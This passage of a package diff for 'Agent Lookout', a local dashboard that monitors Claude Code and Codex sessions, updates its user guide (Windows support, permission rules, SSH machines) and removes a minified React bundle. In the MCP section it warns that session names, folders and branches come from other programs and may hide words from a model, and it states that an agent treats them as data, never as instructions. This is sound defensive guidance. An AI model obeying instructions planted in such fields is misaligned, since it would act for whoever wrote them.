When nothing needs you it prints one line, such as `Nothing needs you · 4 working · 2 idle`. Sessions are counted as the Overview counts them: a stale session is counted as stale and not as idle, and a session whose permission prompt you or a [permission rule](#permission-rules) just answered as working and not as needing you. Stale is left out while there are none. A wait whose start is not known shows a dash. A name is cut at 40 columns, and anything in it that a terminal would act on, such as an escape sequence or a line break, is taken out before it is printed. Until an agent has been read, it says so in place of the counts, and exits with 2.
|
|
732
792
|
|
|
733
793
|
| Option | What it does |
|
|
734
794
|
| ----------------- | ----------------------------------------------------------------------------------------------- |
|
|
@@ -925,7 +985,7 @@ Each answers in JSON. `sessions_needing_you` gives, for example:
|
|
|
925
985
|
}
|
|
926
986
|
```
|
|
927
987
|
|
|
928
|
-
Times are in ISO 8601. A field that is not known is `null`. A session on [another machine](#another-machine-over-ssh) has that machine's name in `machine`, and the summary says it after the name, `"checkout-flow" on devbox`: its `folder` is on that machine, not this one. `counted` is `false` until Agent Lookout has read an agent, when an empty list says nothing, and the summary says so. When an agent's sessions could not be read, such as Claude Code's, the summary names that agent and says its sessions are not counted. `pullRequest` is `{ "number": 51, "checks": "failing" }` for a branch whose pull request Agent Lookout found, with `checks` one of `failing`, `pending`, `passing` and `none`, and `null` for every other session and whenever `AGENT_LOOKOUT_PULL_REQUESTS` is not `on`. It never holds the title, which someone else may have written. `quietFor` is how long a working session's agent has written nothing to the file it is read from, given whenever the agent's source gives that time. From 5 minutes it is what the Sessions list shows as [Quiet for](#quiet-for). Not every agent can report a wait: a Codex session waiting for your approval shows as working. `sources` says which can report what.
|
|
988
|
+
Times are in ISO 8601. A field that is not known is `null`. A session on [another machine](#another-machine-over-ssh) has that machine's name in `machine`, and the summary says it after the name, `"checkout-flow" on devbox`: its `folder` is on that machine, not this one. `counted` is `false` until Agent Lookout has read an agent, when an empty list says nothing, and the summary says so. When an agent's sessions could not be read, such as Claude Code's, the summary names that agent and says its sessions are not counted. `pullRequest` is `{ "number": 51, "checks": "failing" }` for a branch whose pull request Agent Lookout found, with `checks` one of `failing`, `pending`, `passing` and `none`, and `null` for every other session and whenever `AGENT_LOOKOUT_PULL_REQUESTS` is not `on`. It never holds the title, which someone else may have written. `quietFor` is how long a working session's agent has written nothing to the file it is read from, given whenever the agent's source gives that time. From 5 minutes it is what the Sessions list shows as [Quiet for](#quiet-for). A Claude Code session whose permission prompt you or a [permission rule](#permission-rules) just answered is `working`, with `since` as `null`, for the second or two before Claude Code says what it does next, and `sessions_needing_you` leaves it out. Not every agent can report a wait: a Codex session waiting for your approval shows as working. `sources` says which can report what.
|
|
929
989
|
|
|
930
990
|
A session's name, its agent's name, its folder and its branch are written by other programs, such as an agent that writes a [status file](#your-own-agents). The tools say so in their descriptions and in each answer, the summary puts each name in quotation marks, and anything a terminal would act on is taken out of them, as `agent-lookout status` does, and so is any character that shows nothing, in which words could be hidden from you but not from a model. An agent should still treat them as data, never as instructions.
|
|
931
991
|
|
|
@@ -996,8 +1056,10 @@ def report(status, reason=None):
|
|
|
996
1056
|
|
|
997
1057
|
atexit.register(lambda: status_file.unlink(missing_ok=True))
|
|
998
1058
|
# On kill or a closed terminal, end the program as on Ctrl-C, so the file is deleted then too.
|
|
999
|
-
|
|
1000
|
-
|
|
1059
|
+
# Windows has no SIGHUP.
|
|
1060
|
+
for name in ("SIGTERM", "SIGHUP"):
|
|
1061
|
+
if hasattr(signal, name):
|
|
1062
|
+
signal.signal(getattr(signal, name), lambda number, frame: sys.exit(128 + number))
|
|
1001
1063
|
|
|
1002
1064
|
report("working") # As the work starts.
|
|
1003
1065
|
time.sleep(8)
|
|
@@ -1115,7 +1177,7 @@ ssh -N -o BatchMode=yes -o ExitOnForwardFailure=yes -o ServerAliveInterval=15 -o
|
|
|
1115
1177
|
It forwards that port on this computer's loopback to Agent Lookout's on the other machine's loopback, and runs no command there. ssh signs in with your ssh config and your agent. BatchMode stops it asking anything. `ControlMaster=no` and `ControlPath=none` make it a connection of its own every time, even when your ssh config shares connections, so it never joins an ssh you have open, never leaves one running in the background, and its forward ends when it ends.
|
|
1116
1178
|
|
|
1117
1179
|
- Every 2 seconds, Agent Lookout asks the other machine's Agent Lookout for two things through the tunnel, `GET /api/health` and `GET /api/sessions`, and nothing else. This computer installs nothing there and leaves nothing there. The Agent Lookout you started there keeps its own Events log and history, as it does on any machine, unless it was started with `AGENT_LOOKOUT_HISTORY=off`.
|
|
1118
|
-
- Its sessions appear in the same lists as this computer's, each with the machine's name beside its own, and so do its waits and its events in the charts and the Events log, so two sessions of one name, one here and one there, are told apart. A waiting one is in Needs you and is counted there, and its notification names the machine after the session, `docs-site on devbox`. What a waiting session is asking shows when the other machine sends it, as it does, unless `AGENT_LOOKOUT_WAITING_TEXT=off` is set here, which turns it off for every machine. `agent-lookout status` and `agent-lookout mcp` name the machine too.
|
|
1180
|
+
- Its sessions appear in the same lists as this computer's, each with the machine's name beside its own, and so do its waits and its events in the charts and the Events log, so two sessions of one name, one here and one there, are told apart. A waiting one is in Needs you and is counted there, and its notification names the machine after the session, `docs-site on devbox`. A prompt answered there, by Allow, Deny or a permission rule set there, is taken as answered here too, as that machine's Agent Lookout says: it is listed as Answered and sends nothing here. As on this computer, only a read in the instant before the plugin's request reached Agent Lookout there can still see the wait begin. What a waiting session is asking shows when the other machine sends it, as it does, unless `AGENT_LOOKOUT_WAITING_TEXT=off` is set here, which turns it off for every machine. `agent-lookout status` and `agent-lookout mcp` name the machine too.
|
|
1119
1181
|
- Its sessions have no Jump, no Stop and no Allow or Deny. Each acts on this computer only.
|
|
1120
1182
|
- The [time rules](#time-rules) set on this computer cover its sessions too. A wait there is reminded of and held through quiet hours here by the rules set here, its reminder and its line in the summary naming the machine as its notification does, and a session there idle longer than Mark idle sessions stale says here is counted as stale here. The rules set on the other machine go with what that machine sends itself, and are not read here.
|
|
1121
1183
|
- Sources has a card for each machine. It says Connected, with the version of Agent Lookout there and what each of its sources is doing; Connecting, while ssh signs in the first time; or Not connected, with the reason and what to do: ssh was not found, the machine turned ssh away and ssh's own words for why, the connection dropped, no Agent Lookout is answering on its port, or what answers there is not Agent Lookout or sends a list this version cannot read. A first connection that has not answered within 10 seconds is Not connected, still connecting, until ssh connects or gives up. [What each agent can report](#what-each-agent-can-report) has a row for each agent found there, such as Claude Code on devbox.
|
|
@@ -1149,9 +1211,38 @@ If the clock is set by more than a minute while a Claude Code session runs, that
|
|
|
1149
1211
|
|
|
1150
1212
|
Agent Lookout runs `ps` from `/usr/bin` or `/bin`. Where it is not there, as on NixOS, no session in tmux has a Jump button, and a registry file left behind by a session that crashed shows as a session if another program is given its process ID.
|
|
1151
1213
|
|
|
1214
|
+
## On Windows
|
|
1215
|
+
|
|
1216
|
+
Agent Lookout is installed and started on Windows as on a Mac, with `npx agent-lookout` in PowerShell or the Command Prompt, and reads the same folders in your user folder, `%USERPROFILE%`: `.claude\sessions`, `.codex` and `.agent-lookout\sessions`. It keeps its history and its settings in `.agent-lookout` there too. A path in your user folder is shown with `/`, as `~/.claude/sessions`. CI runs the tests on Windows, less those of what Windows does not have, such as the POSIX signals and the Unix socket below, and there it also starts the built app with `npm start` and checks that it lists a Claude Code session, Codex sessions and a session from a status file, each with the right status. No one has yet used it on a Windows desktop.
|
|
1217
|
+
|
|
1218
|
+
These are the same as on a Mac:
|
|
1219
|
+
|
|
1220
|
+
- The dashboard, its notifications while a dashboard tab is open, [email](#email), the [webhook](#webhook), `agent-lookout status` and `agent-lookout mcp`.
|
|
1221
|
+
- The `claude agents --json --all` command, run every 30 seconds, which lists the background jobs that have finished or failed.
|
|
1222
|
+
- Jump for a session in VS Code, which is a `vscode://` link, where VS Code has registered itself to open those links.
|
|
1223
|
+
- `--open`, which hands the address to Windows' own `rundll32.exe` to open in your default browser.
|
|
1224
|
+
|
|
1225
|
+
The `claude` command is looked for on your `PATH` as `claude.exe`, then in `%USERPROFILE%\.local\bin`, where Claude Code's own installer puts it, then in npm's folder, `%APPDATA%\npm`. Agent Lookout runs a program only, never a script that needs a shell. So for the `claude.cmd` that npm makes, it runs the `claude.exe` that the script runs, which npm keeps under the same folder, in `node_modules\@anthropic-ai\claude-code\bin`. Claude Code installed from npm before version 2.1.113 has no `claude.exe`, and has no `claude agents` command either: its sessions are read from `.claude\sessions` alone. `AGENT_LOOKOUT_CLAUDE_BIN` must name a program, a `.exe` or a `.com`.
|
|
1226
|
+
|
|
1227
|
+
These are not on Windows:
|
|
1228
|
+
|
|
1229
|
+
- [Stop](#stop-a-session), and ending the [sessions left running](#sessions-left-running). Agent Lookout stops a session only once `ps` has confirmed, by its start time, that the process is still the session's, and it stops it with a POSIX signal. Windows has neither, and Claude Code there records no start time to compare. No session has Stop, and the routes that stop one are not there.
|
|
1230
|
+
- [Allow and Deny](#answer-a-permission-prompt), and the [permission rules](#permission-rules). The plugin's hook is a POSIX sh script, and it reaches Agent Lookout through a Unix socket. Agent Lookout opens no socket on Windows, so an installed plugin does nothing, no rule answers a prompt, and Settings, under Permission prompts, says so.
|
|
1231
|
+
- [Jump to a tmux pane](#a-session-in-tmux), or [to a tab of Terminal or iTerm2](#a-session-in-a-tab-of-terminal-or-iterm2). tmux is never run on Windows, and the two terminals are Mac apps.
|
|
1232
|
+
- [Resume](#resume-a-session). The command it copies is for sh, bash and zsh, and is given only for a folder that starts with `/` and holds no backslash, so no session on Windows has Resume.
|
|
1233
|
+
- Notifications with no dashboard tab open, which Agent Lookout shows itself with `osascript` on a Mac alone. Keep a dashboard tab open to be notified.
|
|
1234
|
+
|
|
1235
|
+
On Windows, [What each agent can report](#what-each-agent-can-report) says No for Stop and Answer and Partly for Jump, with why. The others have no column there.
|
|
1236
|
+
|
|
1237
|
+
With no `ps`, Agent Lookout cannot tell a registry file left behind by a Claude Code session that crashed from a live one when Windows has given its process ID to another program. Such a file shows as a session until that program ends.
|
|
1238
|
+
|
|
1239
|
+
[Another machine over SSH](#another-machine-over-ssh) and [pull requests](#pull-requests) run the `ssh.exe` and the `gh.exe` on your `PATH`, such as the OpenSSH client that comes with Windows. CI checks pull requests on Windows against a stand-in `gh.exe`, and neither has yet been tried there with the real program.
|
|
1240
|
+
|
|
1241
|
+
The settings in this guide are written for a shell such as zsh or bash. In PowerShell, set one before the command, `$env:AGENT_LOOKOUT_CLAUDE_FEED = "off"; npx agent-lookout`, and in the Command Prompt, run `set AGENT_LOOKOUT_CLAUDE_FEED=off` and then `npx agent-lookout`.
|
|
1242
|
+
|
|
1152
1243
|
## What it does not do yet
|
|
1153
1244
|
|
|
1154
|
-
It does not resume a session itself: for a Claude Code session that has ended, [Resume](#resume-a-session) copies the command that does, and you run it. It cannot send a session a message. It [stops](#stop-a-session) a Claude Code session only when you press Stop and confirm, and not one in the desktop app, a Codex session
|
|
1245
|
+
It does not resume a session itself: for a Claude Code session that has ended, [Resume](#resume-a-session) copies the command that does, and you run it, on macOS and Linux. It cannot send a session a message. It [stops](#stop-a-session) a Claude Code session only when you press Stop and confirm, and not one in the desktop app, a Codex session, a session from a status file or any session on Windows. It [answers a permission prompt](#answer-a-permission-prompt) only for a Claude Code session with the plugin installed, and not on Windows, when you press Allow or Deny or a [permission rule](#permission-rules) you added matches, allows or denies that one request only, and offers Deny alone for an edit, a plan or a question, and for a request it cannot show whole and as it is. An allow rule never allows what you could not allow by hand, or a Bash line of more than one plain command. An agent through [`agent-lookout mcp`](#for-your-agents), whose tools only read, can do none of these. It covers Claude Code and Codex, and any agent that writes a [status file](#your-own-agents), on this computer and on [another machine](#another-machine-over-ssh) running Agent Lookout that you reach over SSH. Cloud sessions, Codex cloud tasks and browser chats do not appear. [What each agent can report](#what-each-agent-can-report) has a table of what each agent can and cannot show.
|
|
1155
1246
|
|
|
1156
1247
|
A notification, an email or a post is sent for four events: a session starting to wait, finishing, failing or ending, and, with the [time rules](#time-rules) on, also a reminder of a long wait and a summary of quiet hours. Only Claude Code sessions and sessions from a status file can be seen waiting. A Claude Code session that is not a background job does not say how it ended, so it sends Ended, never Finished or Failed. A Claude Code background job that starts and ends between two runs of the `claude` command, which is run every 30 seconds, leaves the list before the command lists it as finished, so it too sends Ended. A session from a Codex older than 0.155 is never shown as finished, so it sends Ended when it leaves the list, a day after it was last used. With no dashboard tab open, notifications are shown on a Mac only. Those come from Script Editor, unless Agent Lookout runs as the [desktop app](#desktop-app), cannot open the session, and are not cleared when the session moves on.
|
|
1157
1248
|
|
|
@@ -1190,12 +1281,12 @@ AGENT_LOOKOUT_CLAUDE_FEED=off npx agent-lookout
|
|
|
1190
1281
|
| `AGENT_LOOKOUT_STATUS_DIR` | A folder of [status files](#your-own-agents) to read in place of `~/.agent-lookout/sessions`. |
|
|
1191
1282
|
| `AGENT_LOOKOUT_HISTORY` | Set to `off` and Agent Lookout keeps the Events log and the charts in memory only and writes nothing to disk, so they start empty each time it starts. See [History](#history). |
|
|
1192
1283
|
| `AGENT_LOOKOUT_HISTORY_DIR` | A folder to keep the [history](#history) in, in place of `~/.agent-lookout/history`. |
|
|
1193
|
-
| `AGENT_LOOKOUT_SETTINGS_FILE` | A file to keep the [time rules](#time-rules) in, in place of `~/.agent-lookout/settings.json`.
|
|
1284
|
+
| `AGENT_LOOKOUT_SETTINGS_FILE` | A file to keep the [time rules](#time-rules) and the [permission rules](#permission-rules) in, in place of `~/.agent-lookout/settings.json`. |
|
|
1194
1285
|
| `AGENT_LOOKOUT_NOTIFICATIONS` | Set to `on` and, on a Mac, Agent Lookout shows notifications of waits itself from the moment it starts. A dashboard page that has notifications off turns them off again. Anywhere else it prints a line saying it shows none itself. |
|
|
1195
1286
|
| `AGENT_LOOKOUT_TMUX` | Set to `off` and Agent Lookout never runs `tmux`. Sessions in tmux are still listed, without a Jump button. |
|
|
1196
1287
|
| `AGENT_LOOKOUT_TERMINAL_JUMP` | Set to `off` and Agent Lookout never looks for, or brings forward, a tab of Terminal or iTerm2. Sessions there are still listed, without a Jump button. |
|
|
1197
1288
|
| `AGENT_LOOKOUT_STOP` | Set to `off` and Agent Lookout never stops a session: no session has a Stop button, Left running has no End all…, and the server answers no request to stop one. |
|
|
1198
|
-
| `AGENT_LOOKOUT_ANSWER` | Set to `off` and Agent Lookout never answers a permission prompt: it opens no socket for the plugin, no session shows Allow or Deny, and the server answers no request to answer one.
|
|
1289
|
+
| `AGENT_LOOKOUT_ANSWER` | Set to `off` and Agent Lookout never answers a permission prompt: it opens no socket for the plugin, no session shows Allow or Deny, no [permission rule](#permission-rules) answers one, and the server answers no request to answer one. |
|
|
1199
1290
|
| `AGENT_LOOKOUT_ANSWER_SOCKET` | The socket the [plugin](#install-the-plugin) sends permission requests to, in place of `~/.agent-lookout/answer.sock`. Set the same in the environment Claude Code starts with, so its hook finds it. With `AGENT_LOOKOUT_CLAUDE_HOME` set, nothing is answered unless this is set too. |
|
|
1200
1291
|
| `AGENT_LOOKOUT_ANSWER_WAIT` | How many seconds a permission request waits for Allow or Deny before the prompt in the session is left to decide, from 5 to 540. The default is 300. |
|
|
1201
1292
|
| `AGENT_LOOKOUT_EMAIL_TO` | The one address emails go to. With `AGENT_LOOKOUT_SMTP_URL` set too, it turns [email](#email) on. |
|
|
@@ -1242,12 +1333,12 @@ It prints `{"ok":true,"version":"0.2.1"}`, or a later version number. If you run
|
|
|
1242
1333
|
|
|
1243
1334
|
`agent-lookout` on its own starts Agent Lookout from the built files, as `npm start` does: the dashboard and its API at `http://127.0.0.1:4777`, on this computer only. It prints `Agent Lookout is running at http://127.0.0.1:4777` and keeps running until you press Ctrl+C. `agent-lookout start` does the same.
|
|
1244
1335
|
|
|
1245
|
-
| Option | What it does
|
|
1246
|
-
| ----------------- |
|
|
1247
|
-
| `--port <number>` | Listens on this port in place of 4777, such as `--port 4778`. `AGENT_LOOKOUT_PORT` does the same, and `--port` wins when both are given
|
|
1248
|
-
| `--open` | Opens the address in your default browser once it is listening, with `open` on macOS
|
|
1249
|
-
| `--help` | Prints the options of `agent-lookout`, `agent-lookout status` and `agent-lookout mcp`
|
|
1250
|
-
| `--version` | Prints the version of Agent Lookout, such as `0.2.1`, and nothing else
|
|
1336
|
+
| Option | What it does |
|
|
1337
|
+
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
1338
|
+
| `--port <number>` | Listens on this port in place of 4777, such as `--port 4778`. `AGENT_LOOKOUT_PORT` does the same, and `--port` wins when both are given |
|
|
1339
|
+
| `--open` | Opens the address in your default browser once it is listening, with `open` on macOS, `xdg-open` on Linux or `rundll32.exe` on Windows. If that cannot be done, it prints one line with the address and keeps running |
|
|
1340
|
+
| `--help` | Prints the options of `agent-lookout`, `agent-lookout status` and `agent-lookout mcp` |
|
|
1341
|
+
| `--version` | Prints the version of Agent Lookout, such as `0.2.1`, and nothing else |
|
|
1251
1342
|
|
|
1252
1343
|
Every other setting under [Settings you can change](#settings-you-can-change) works with it as with `npm start`. It ends with 0 when you press Ctrl+C, and with 1 when it cannot start, such as when the port is in use. Under `npx agent-lookout`, the shell reports the interrupt instead, as exit code 130.
|
|
1253
1344
|
|
|
@@ -1257,7 +1348,7 @@ In a clone, run `npm run build` and `npm link` once in the `agent-lookout` folde
|
|
|
1257
1348
|
|
|
1258
1349
|
## Desktop app
|
|
1259
1350
|
|
|
1260
|
-
Agent Lookout can also run as a Mac app: the same dashboard in a window of its own, with the collector running inside the app. The app opens no port, so nothing else on this computer can reach it. It needs no Node.js.
|
|
1351
|
+
Agent Lookout can also run as a Mac app: the same dashboard in a window of its own, with the collector running inside the app. The app opens no port, so nothing else on this computer can reach it. It keeps its rules in the same [settings file](#time-rules) as `npx agent-lookout`, though, and takes up a change to that file at its next poll, so a program running as you can change them by writing the file. It needs no Node.js.
|
|
1261
1352
|
|
|
1262
1353
|
To install it, download the disk image for your Mac from the [latest release](https://github.com/Olanetsoft/agent-lookout/releases/latest) on GitHub: `Agent-Lookout-<version>-mac-arm64.dmg` for Apple silicon, or `Agent-Lookout-<version>-mac-x64.dmg` for Intel. About This Mac, in the Apple menu, shows which you have: a chip such as Apple M1 is Apple silicon, and a processor named Intel is Intel. Open the disk image and drag Agent Lookout to Applications. Keep it there: the app [updates itself](#updates) only from a folder it can change.
|
|
1263
1354
|
|
|
@@ -1350,6 +1441,12 @@ To see which program holds a port, on macOS or on Linux with `lsof` installed:
|
|
|
1350
1441
|
lsof -nP -iTCP:4777 -sTCP:LISTEN
|
|
1351
1442
|
```
|
|
1352
1443
|
|
|
1444
|
+
On Windows, the process ID is in the last column of:
|
|
1445
|
+
|
|
1446
|
+
```text
|
|
1447
|
+
netstat -ano | findstr :4777
|
|
1448
|
+
```
|
|
1449
|
+
|
|
1353
1450
|
### No sessions appear
|
|
1354
1451
|
|
|
1355
1452
|
1. Start a session and wait a few seconds. For Claude Code, run `claude` in a terminal. For Codex, run `codex` and send a prompt: a Codex session appears once its first prompt is sent.
|
|
@@ -1439,7 +1536,7 @@ While a Claude Code session is running, Agent Lookout also asks tmux, if it is i
|
|
|
1439
1536
|
|
|
1440
1537
|
For every session, whatever its agent, Agent Lookout looks for the git repository the session's folder is in: it looks for `.git` in the folder, then in each folder above it, and stops at the first, or before your home folder. It reads which [branch](#branches) is checked out from the repository's `HEAD` file, following the `.git` file of a worktree or a submodule to the folder that holds it. Which [repository](#repositories) the folder belongs to it works out from where those files are and, for a worktree, from the `commondir` file beside its `HEAD`, which names the repository's own git folder. It reads nothing else in the repository.
|
|
1441
1538
|
|
|
1442
|
-
Agent Lookout never writes to `~/.claude`, `~/.codex`, `~/.agent-lookout` or any git repository. [PRIVACY.md](../PRIVACY.md) lists every file it reads and every command it runs, and what it keeps from each. [ARCHITECTURE.md](ARCHITECTURE.md) explains how the files and the command are checked against each other.
|
|
1539
|
+
Agent Lookout never writes to `~/.claude`, `~/.codex`, the folder of status files (`~/.agent-lookout/sessions`) or any git repository. In `~/.agent-lookout` it writes only its own history, `settings.json` and the socket `answer.sock`. [PRIVACY.md](../PRIVACY.md) lists every file it reads and every command it runs, and what it keeps from each. [ARCHITECTURE.md](ARCHITECTURE.md) explains how the files and the command are checked against each other.
|
|
1443
1540
|
|
|
1444
1541
|
## For contributors
|
|
1445
1542
|
|
package/package.json
CHANGED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import{j as e,r as p}from"./react-C2DiJaR6.js";import{F as x,T as E,p as L,o as C,w as D,u as P,q as B,J as W,c as _,v as I,A as J,R as H,D as K,x as z,y as G,z as U,n as V,B as X,M as F,E as Y,G as Q,I as Z,K as ee,N as te,O as se,P as O,Q as ne,U as ae,f as S,V as le,W as re,X as ie,Y as oe,Z as ce,_ as ue,$ as de,a0 as pe,a1 as T,a2 as R,a3 as me,L as he,a4 as xe}from"./index-a7ubgAmE.js";import"./motion-BAhdRuCw.js";import"./radix-BH0JH8UU.js";function fe({pullRequest:t}){return e.jsxs(x,{label:"Pull request",children:[e.jsxs(E,{"data-part":"pull-request",href:t.url,target:"_blank",rel:"noreferrer noopener",lines:2,tooltip:`#${t.number} ${t.title}`,className:"wrap-anywhere underline decoration-rule-strong underline-offset-2 transition-colors duration-120 hover:decoration-ink",children:[e.jsxs("span",{className:"tabular-nums",children:["#",t.number]})," ",t.title]}),e.jsx("span",{"data-part":"pull-request-state",className:"block text-caption font-normal text-ink-secondary tabular-nums",children:L(t)})]})}function je(t,a={}){const{open:s=!0,onStopped:n,request:l=C}=a,[u,o]=p.useState({kind:"idle"}),[c,r]=p.useState(s);s!==c&&(r(s),!s&&!(u.kind==="confirming"&&u.busy)&&o({kind:"idle"}));const f=p.useRef(s);p.useEffect(()=>{f.current=s},[s]);const i=p.useId(),[d]=p.useState(()=>({stop:`${i}-stop`,cancel:`${i}-cancel`,outcome:`${i}-outcome`})),m=p.useRef(null),j=p.useRef(!1),b=p.useRef(!0);p.useEffect(()=>(b.current=!0,()=>{b.current=!1}),[]),p.useEffect(()=>{const g=m.current;m.current=null,g!==null&&document.getElementById(d[g])?.focus()},[u,d]);const h=p.useCallback(()=>{j.current||(m.current="cancel",o({kind:"confirming",busy:!1}))},[]),N=p.useCallback(()=>{j.current||(m.current="stop",o({kind:"idle"}))},[]),v=p.useCallback(()=>{j.current||(j.current=!0,o({kind:"confirming",busy:!0}),l(t).then(g=>{if(j.current=!1,!!b.current){if(g==="stopped"&&n?.(),!f.current){o({kind:"idle"});return}m.current="outcome",o({kind:"answered",outcome:g,at:Date.now()})}}))},[t,l,n]);return{step:u,ask:h,cancel:N,confirm:v,ids:d}}const be="Read over SSH. Jump, Stop, Allow and Deny work on this computer only, so use that machine to go to it, stop it or answer it.",M=[];function ge(t,a){const s=CSS.escape(t),n=[...document.querySelectorAll(`:is([data-slot="session-row"], [data-slot="board-card"], [data-slot="hero-session"])[data-session="${s}"] a[data-part="name"]`)];return a!==null&&n.includes(a)?a:n.find(l=>!l.closest('[data-slot="hero-session"]'))??n[0]??null}function ye({session:t,gone:a,asOf:s,now:n}){const l=t.status==="finished"||t.status==="failed",u=re(t),o=u?"stale":a&&t.status==="needs-you"?"answered":t.status,c=t.statusSince,r=c!==null?Math.max(0,s-c):null,f=ie(t,s),i=t.status==="needs-you",d=i?oe(t):null,m=i&&!a&&!t.ask&&t.waitingText?.trim()||null,j=c!==null?`${l?"at":u?"idle since":"since"} ${O(c,n)}`:"time not reported",b=[i?ce(t):null,j,f&&ue(f)].filter(h=>typeof h=="string");return e.jsxs(x,{label:"Status",note:m?e.jsxs(e.Fragment,{children:[e.jsx(E,{"data-part":"asking",lines:2,className:"wrap-anywhere",children:m}),d&&e.jsx("span",{className:"block",children:d})]}):d??void 0,children:[e.jsxs("span",{className:"inline-flex items-center gap-2",children:[e.jsx(de,{kind:o}),e.jsx("span",{"data-part":"status",children:u?"Stale":pe[t.status]}),r!==null&&e.jsxs("span",{"data-part":"duration",className:"tabular-nums",children:[e.jsx("span",{className:"sr-only",children:l?` ${T(r)} ago`:` for ${T(r)}`}),e.jsxs("span",{"aria-hidden":!0,children:[R(r),l&&" ago"]})]})]}),e.jsx("span",{"data-part":"since",className:"block text-caption font-normal text-ink-secondary tabular-nums",children:b.join(", ")})]})}function ke({session:t,state:a,now:s,asOf:n}){const l=p.useMemo(()=>me({sessions:a.snapshot?.sessions??M,events:a.events,history:a.history,now:s,asOf:n,eventsFull:a.events.length>=F}),[a.snapshot,a.events,a.history,s,n]);if(!l)return e.jsxs(x,{label:"Waits",children:["Not known",e.jsx("span",{className:"block text-caption font-normal text-ink-secondary",children:"The history could not be read"})]});const u=l.sessions.find(r=>r.id===t.id),o=l.period.today?"today":`since ${S(l.period.from)}`;let c="None";if(u){const r=`${u.startKnown?"":"at least "}${R(u.ms)}`;c=u.times===1?`Once, ${r}`:`${u.times} times, ${r} in all`}return e.jsxs(x,{label:"Waits",children:[e.jsx("span",{"data-part":"waits",className:"tabular-nums",children:c}),e.jsx("span",{className:"block text-caption font-normal text-ink-secondary",children:o})]})}function $({title:t,aside:a,children:s,...n}){return e.jsxs("section",{...n,"aria-label":t,className:"mt-6",children:[e.jsxs("div",{className:"flex items-baseline justify-between gap-4 border-b border-hairline pb-2",children:[e.jsx("h3",{className:"text-body font-semibold text-ink",children:t}),a&&e.jsx("p",{className:"text-caption text-ink-muted",children:a})]}),s]})}function we({session:t,gone:a,state:s,now:n,asOf:l}){const u=s.snapshot?.sources??[],o=s.snapshot?.sessions??M,c=V(s.snapshot?.timeRules),r=X(t.surface),f=s.events.length>=F,i=p.useMemo(()=>Y(s.events.filter(b=>b.sessionId===t.id),o),[s.events,o,t.id]),d=Q(s.events,s.history,f),m=p.useMemo(()=>s.history?Z({sessions:o,events:s.events,history:s.history,now:n,asOf:l,eventsFull:f,staleAfterMs:c}):null,[o,s.events,s.history,n,l,f,c]),j=m?.rows.find(b=>b.id===t.id);return e.jsxs(e.Fragment,{children:[a&&e.jsx("p",{"data-part":"gone",className:"mt-4 text-body text-ink-secondary",children:"This session has left the list. Here is what was last known of it."}),e.jsxs(ee,{className:"mt-3",children:[e.jsx(ye,{session:t,gone:a,asOf:l,now:n}),e.jsx(x,{label:"Agent",children:te(t,u)}),t.machine!==void 0&&e.jsx(x,{label:"Machine",note:be,children:e.jsx("span",{"data-part":"machine",children:t.machine})}),r!==null&&e.jsx(x,{label:"App",children:r}),e.jsx(x,{label:"Folder",mono:t.cwd!==null,children:t.cwd!==null?e.jsx(se,{"data-part":"folder",className:"select-text",children:t.cwd}):"Not known"}),t.git?.repository!==void 0&&e.jsx(x,{label:"Repository",children:e.jsx("span",{"data-part":"repository",className:"wrap-anywhere",children:t.git.repository.name})}),t.git?.branch!==void 0?e.jsx(x,{label:"Branch",children:e.jsx("span",{"data-part":"branch",className:"wrap-anywhere",children:t.git.branch})}):t.git?.commit!==void 0&&e.jsx(x,{label:"Commit",mono:!0,children:t.git.commit}),t.git?.pullRequest!==void 0&&e.jsx(fe,{pullRequest:t.git.pullRequest}),e.jsx(x,{label:"Started",children:e.jsx("span",{className:"tabular-nums",children:t.startedAt!==null?O(t.startedAt,n):"Not reported"})}),t.pid!==void 0&&e.jsx(x,{label:"Process",mono:!0,note:t.alive===!1?"The process has ended.":!a&&t.source==="claude-code"&&t.surface==="desktop"?ne:void 0,children:t.pid}),e.jsx(ke,{session:t,state:s,now:n,asOf:l})]}),e.jsx($,{"data-part":"events",title:"Events",aside:d?`since ${S(d.at)}`:void 0,children:i.length>0?e.jsx(ae,{entries:i,now:n,className:"pt-0.5"}):e.jsxs("p",{className:"py-2.5 text-body text-ink-secondary",children:["Nothing has happened to this session"," ",d?`since ${S(d.at)}`:"yet","."]})}),e.jsx($,{"data-part":"timeline",title:"Timeline",aside:"last hour",children:m&&j?e.jsx(le,{timeline:m,rows:[j],named:!1,label:"Its last hour",className:"pt-3"}):e.jsx("p",{className:"py-2.5 text-body text-ink-secondary",children:m?"It did not run in the last hour.":"The last hour could not be read. The page asks again every two seconds."})})]})}function Ne({sessionId:t,open:a,onClose:s,state:n,now:l,onStopped:u,onAnswered:o}){const c=n.snapshot?.sessions.find(y=>y.id===t)??null,[r,f]=p.useState(null);c!==null&&c!==r?.session?f({session:c,at:n.lastOkAt??l}):c===null&&(r?.session.waitingText!==void 0||r?.session.ask!==void 0)&&f({...r,session:D(r.session)});const i=c??r?.session??null,d=c===null&&r!==null,m=P(i??{id:t,source:"status-files",surface:"unknown",links:{}}),j=d&&r?r.at:n.phase==="stalled"&&n.lastOkAt!==null?n.lastOkAt:l,b=m.outcome!==null||m.asking!==null,h=je(t,{open:a,onStopped:u}),N=h.step.kind==="answered"&&c?.alive===!0&&(n.snapshot?.generatedAt??0)>h.step.at,v=h.step.kind==="answered"&&h.step.outcome==="stopped"&&!N,g=B(i??{id:t,source:"status-files",status:"unknown",cwd:null},v?!0:void 0),q=h.step.kind==="answered"||h.step.kind==="confirming"&&(h.step.busy||!d);let k,w,A="wide";return i?(k=i.name,w=e.jsxs(e.Fragment,{children:[!d&&e.jsx("div",{className:_("flex flex-wrap items-center gap-x-2 gap-y-1",b&&"mt-3"),children:e.jsx(W,{session:i,jump:m})}),q&&e.jsx(I,{session:i,stop:h,className:"mt-3"}),!d&&e.jsx(J,{session:i,onAnswered:o,className:"mt-3"}),e.jsx(H,{resume:g,className:"mt-3"}),e.jsx(we,{session:i,gone:d,state:n,now:l,asOf:j})]})):n.snapshot===null?(k="Session",w=e.jsx(he,{label:"Reading sessions",className:"justify-start px-0 pt-5 pb-1"})):(k="No such session",A="sm",w=e.jsxs("div",{"data-part":"missing",children:[e.jsx("p",{className:"mt-2 text-body text-ink-secondary",children:"Agent Lookout is not watching a session at this address. It may have ended before this page was opened."}),e.jsx(xe,{className:"mt-4",onClick:s,children:"Go to the 